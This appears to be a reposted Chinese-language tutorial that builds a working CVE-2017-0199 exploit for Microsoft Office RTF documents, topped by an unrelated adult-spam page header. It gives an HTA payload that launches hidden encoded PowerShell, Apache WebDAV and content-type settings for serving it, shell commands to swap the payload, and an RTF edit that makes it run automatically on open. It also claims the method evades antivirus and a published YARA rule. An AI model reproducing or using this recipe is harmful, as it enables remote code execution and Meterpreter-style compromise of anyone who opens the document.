亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

詳解CVE-2017-0199:Microsoft Office RTF 漏洞

技術背景

我們可以將OLEv2鏈接包含在現有文檔中。 這些對象將反映加載到文檔中的源鏈接中的當前內容。
令人驚奇的是,如果嘗試將HTA鏈接包含為OLEv2對象,那么它將被執行一次(在創建時),但Winword將返回一個錯誤,如:

CVE-2017-0199-1

這種情況下出現的問題是,HTA文件將不會被持久化(為了使其持續,您必須將其鏈接到文件+創建圖標,但是我們想要它隱藏并擁有自動運行權限)

我開始通過思考如何處理不是惡意的OLE對象鏈接到遠程RTF文件…為了實現在“proper”Microsoft Office中的預期方式,我一點點修改在Apache中服務我的文件的內容類型和DAV模塊。

從那里開始,我將有一個有效的嵌入式對象鏈接,每次打開我的文檔后自動更新!

下一步?在HTA中用我的有效載荷修改來源的文檔

在這種情況下能夠:
– 為真正的RTF文件創建一個動態OLEv2對象鏈接
– 使用我的有效載荷修改源的RTF
– 如果我想創建一個直接鏈接到HTA文檔,則繞過產生的錯誤

另一個問題?OLE對象需要自動激活

步驟1?

準備一個HTA文件:(HTA文件是可以運行JScr??ipt和VBscript的HTML應用程序)

我們稱之為“?ms.hta?”

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml”>

<head>

<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />

<title>Bonjour</title>

<script language=”VBScript”>

Set owFrClN0giJ = CreateObject(“Wscript.Shell”)

Set v1ymUkaljYF = CreateObject(“Scripting.FileSystemObject”)

If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(“%PSModulePath%”) + “..\powershell.exe”) Then

owFrClN0giJ.Run “powershell.exe -nop -w hidden -e ENCODED_B64_SHELL”

End If

</script>

<hta:application

id=”oHTA”

applicationname=”Bonjour”

application=”yes”

>

</hta:application>

</head>

<div>

<object type=”text/html” data=”http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender” width=”100%” height=”100%”>

</object></div>

<body>

</body>

</html>

步驟2

使用任意隨機內容的Winword創建一個簡單的RTF文檔。(在例子中,我使用字符串來作為我的內容)

命名為“?ms.rtf?”

步驟3

在已完全控制的網絡服務器上推送這2個文件。
我們假定它將被存儲在/ var / www / html中

現在我們必須配置Apache才能將ms.rtf作為一個鏈接

a2enmod dav

a2enmod dav_fs

a2enmod dav_lock

a2enmod headers

service apache2 restart

 

以下指令將:
– 將“Content-Type application / rtf”添加到/ ms中的所有文件中
– 允許Microsoft Office執行的PROPFIND請求

Modify virtualhost and include:

 

<Directory /var/www/html/ms/>

Header set Content-Type “application/rtf”

</Directory>

<Directory />

Dav on

</Directory>

 

service apache2 restart

 

步驟4

使用Winword“?exploit.rtf?”?創建一個簡單的RTF文檔。這將是我們的漏洞利用!

插入 – >對象

 

CVE-2017-0199-2

 

單擊確定后,您將獲得包含隨機字符串內容的“ms.rtf”文件。

將該文件保存為“?exploit.rtf?”

wd

 

在這一步我們可以關閉Winword,并轉到下一步改變ms.rtf的內容與HTA有效載荷

步驟5

以下步驟將:
– 更改自定義HTA有效載荷中包含的ms.rtf
– Web服務器將發送“application/hta”的內容類型…這將由Winword客戶端解析,它將運行mshta來處理這個內容類型并執行我們的有效載荷

 cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  
 vi /etc/apache2/sites-enables/000-default  
 Change -> application/rtf to application/hta  
 like:  
 <Directory /var/www/html/ms/>  
 Header set Content-Type "application/hta"  
 </Directory>  

 service apache2 restart  

步驟6

在這一步,如果用戶打開“exploit.rtf”文件,他必須雙擊鏈接對象來啟動攻擊…

如果我們想要在文檔打開時自動加載OLE對象,必須編輯exploit.rtf文件并更改至\ object \ objautlink \?objupdate?\ rsltpict …………………… ..

在這個步驟中,漏洞利用已經成功構建。

使用方法:

一旦用戶打開文檔,OLE對象通過鏈接進行更新,并且由于服務器提供的application/hta content-type執行ms.hta,OLE對象將通過鏈接來更新。這樣會得到執行代碼的結果。Meterpreter命令如下:

CVE-2017-0199-4

我們不用在乎警告,因為代碼已經在執行了…

89

使用當前AV /發布的YARA規則

從我的個人測試看來,這個方法目前還沒有被AV捕獲(Defender已經擁有CVE-2017-0199的簽名)此外,目前已發布的yara?規則與此漏洞利用率不匹配。

rule rtf_objdata_urlmoniker_http {
strings:
$header = “{\\rtf1”
$objdata = “objdata 0105000002000000” nocase
$urlmoniker = “E0C9EA79F9BACE118C8200AA004BA90B” nocase
$http = “68007400740070003a002f002f00” nocase
condition:
$header at 0 and $objdata and $urlmoniker and $http
}

確實,urlmoniker不匹配,將永遠不會觸發這個Yara規則。

文章來源:http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html

上一篇:淺淡五款移動設備安全測試工具

下一篇:Wikileaks公布的CIA“Marble”框架分析